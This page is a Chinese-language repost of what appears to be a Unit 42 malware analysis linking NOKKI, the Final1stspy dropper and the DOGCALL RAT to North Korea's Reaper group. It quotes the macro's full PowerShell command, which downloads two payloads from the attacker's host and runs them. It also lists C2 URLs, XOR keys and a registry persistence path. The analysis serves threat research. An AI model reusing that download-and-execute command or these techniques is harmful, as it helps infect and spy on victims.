您的语言偏好: 简体 正體 telegram Icon Facebook Icon Twitter Icon Google+ Icon RSS订阅禁闻

News:最新发现 NOKKI 恶意软件与朝鲜 Reaper 组织有关 - 这里是技术分析

2018年10月10日 6:44 PDF版 二维码分享

来源:

NOKKI 是新发现的恶意家族,与 KONNI 恶意软件有代码重叠。最新研究发现 NOKKI 与的 Reaper 组织有关。

最近,unit 42 研究人员发现了 NOKKI 恶意软件家族,主要攻击目标是说俄语和柬埔寨语的地区。经过分析发现该恶意软件攻击活动与 Reaper 组织有关。

其他安全公司的分析结果显示 Reaper 组织与朝鲜有关,主要攻击朝鲜关注的国家和组织,包括韩国的军事和国防工业、与朝鲜有生意往来的中东企业等。该组织的常用手法包括使用定制的恶意软件家族——DOGCALL。DOGCALL 是一款远程访问木马(RAT),使用第三方主机服务来上传数据和接受命令。

本文主要分析 NOKKI 恶意软件与 DOGCALL 恶意软件家族的关系,以及与应用 DOGCALL 的恶意软件家族的相关信息,研究人员根据恶意软件中的 pdb 字符串将其名命名为 Final1stspy。

恶意宏

在分析 NOKKI 恶意软件时,unit 42 研究人员发现从 2018 年7月开始的一系列攻击活动都使用了word文档中的恶意宏。这些宏本质上并不复杂,而且只尝试执行:

  • 下载和运行可执行恶意软件 payload;
  • 下载和打开 word 诱饵文档。

为了避免被检测到,恶意宏使用了简单的字符串混淆——base64 编码。不同的是,恶意软件首先将 base64 编码的文本变成十六进制,然后再将十六进制转换为文本字符串。


图1 下载和执行远程payload的恶意宏文件

赞助商链接
赞助商链接


图2 应用反混淆方法的恶意宏文件

通过搜索传播 NOKKI 的反混淆技术,研究人员发现另一个文件。该文件有以下特征:

基于原始文件名,可用推测该恶意软件样本的攻击目标是对 2018 年俄罗斯事世界杯感兴趣的人。从下图可用看出,样本之间的反混淆方法和作者的注释都是相同的 :

图3 NOKKI dropper与World Cup predictions dropper的相似处

虽然反混淆方法是相同的,但宏文件的真实共那个有所不同。NOKKI dropper 样本会下载 payload 和诱饵文件,而 World Cup predictions 恶意软件样本会下载和执行一个封装再 HTML 中的远程 VB 脚本文件,并把文本加入到原始 word 文档之后来引诱

诱饵文件含有来自英国 ESPN 网站文章的公开内容:

World Cup predictions.doc 文件的执行链完成后,受害者机器上会执行一 个DOGCALL 恶意软件样本。

恶意软件使用的评论诱饵和 payload 正说明了 DOGCALL 属于 Reaper,隶属朝鲜的威胁单元。

恶意软件执行

World Cup predictions.doc 运行后,会继续从下面的链接下载 VBScript 文件:

  • http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html

VBScript 文件使用的反混淆方法与前面描述的完全相同。当第二阶段VBScript文件执行时,会将数据 1111:rom*E8FEF0CDF6C1EBBA90794B2B 写入 %DATA%\Microsoft\mib.dat。该文件之后会被 Final1stspy 恶意软件家族使用。

赞助商链接
赞助商链接

该文件写入后,会执行下面的命令:
objShell. Run "cmd.exe /k powershell.exe" & " " & "-tyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1. org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

代码执行后会下载两个文件:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg 和 http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,并保存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll 和 %APPDATA%/Microsoft/ieConv.exe。最后,VBScript 文件会在新进程中执行之前下载的 ieConv.exe 文件。

这两个文件是之前未报告的 dropper 恶意软件家族 Final1stspy 的实例。 Final1stspy Final1stspy 恶意软件家族可用分为可执行文件和 DLL。

这些文件有下面的特征:

所有样本都是几周内编译的。另外,用来传播恶意软件的原始 word 文档的最后修改时间就是 DLL 编译前几天。

可执行文件和 DLL 都用了特定的路径来混淆重要的字符串。下面的 python 代码是用来解码字符串的:

Final1stspy 恶意软件开始时会寻找是否存在下面的文件:

  • %APPDATA%\Microsoft\Windows\msvcrt64.dll

如果文件存在,恶意软件会加载DLL并尝试调用 main_func 函数。 如果文件不存在,恶意软件会寻找下面的文件:

  • %APPDATA%\Microsoft\Windows\msvcrt32.dll

如果文件存在,恶意软件会 0x50 对文件进行 XOR 解密,并写入前面提到的 msvcrt64.dll 路径,并加载 main_func 函数。

赞助商链接
赞助商链接

DLL 使用的字符串混淆方法与可执行文件中的相同。首先会收集基本的系统信息,必能通过设置指向 %APPDATA%/Microsoft/ieConv.exe 的注册表来确保驻留:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32

Final1stspy 恶意软件家族会继续对之前的 mib.dat 文件进行阅读和语法分析。分析的数据会被用于之后的 HTTP GET 请求,表示 Index、 Account、Group 变量。

Final1stspy 可用读取 %APPDATA%/Microsoft/olevnc.ini 文件,该文件中有许多变量,包括用户代理、URL、端口、内部计数器。如果文件不存在,恶意软件会用硬编码的用户代理和 URL。特定的样本会与 http: //kmbr1. nitesbr1[.]org/UserFiles/File/image/index.php 进行通信,使用的用户代理为 Host Process Update。

恶意软件会继续向该 URL 发送 HTTP GET 请求,示例如下:

请求中有下面的 GET 参数:

恶意软件期望接收到的是一个 payload,并用 XOR key 0x49 进行解密。Payload 会在受害者机器上加载。解密后,会出现下面的 payload:

通过编译的时间戳可用看出,该文件与 Final1stspy 可执行文件的编译时间非常接近。该 payload 已经被识别是属于 DOGCALL 恶意软件家族,可以在受害者设备上执行下面的动作:

  • 截屏
  • 记录键盘输入
  • 获取麦克风数据
  • 收集受害者信息
  • 收集感兴趣的文件
  • 下载和执行其他 payload

恶意软件会与作为 C2 的第三方主机服务进行通信,包括:

  • Dropbox
  • pCloud
  • Yandex Cloud
  • Box

结论 研究人员分析恶意软件 NOKKI 和恶意软件 KONNI 存在代码重叠,进一步分析发现 NOKKI 恶意软件与朝鲜的 Reaper 组织有关。之间的关系有很多好玩的地方,比如朝鲜相关的诱饵信息和 DOGCALL 恶意软件 payload。研究人员在分析过程中还发现一款之前没有报告过的恶意软件——Final1stspy。

赞助商链接
赞助商链接
禁闻网责任编辑:宋伯明

手机分享和访问:

禁闻网 二维码

打开微信扫一扫[Scan QR Code],打开网页后点击屏幕右上角分享按钮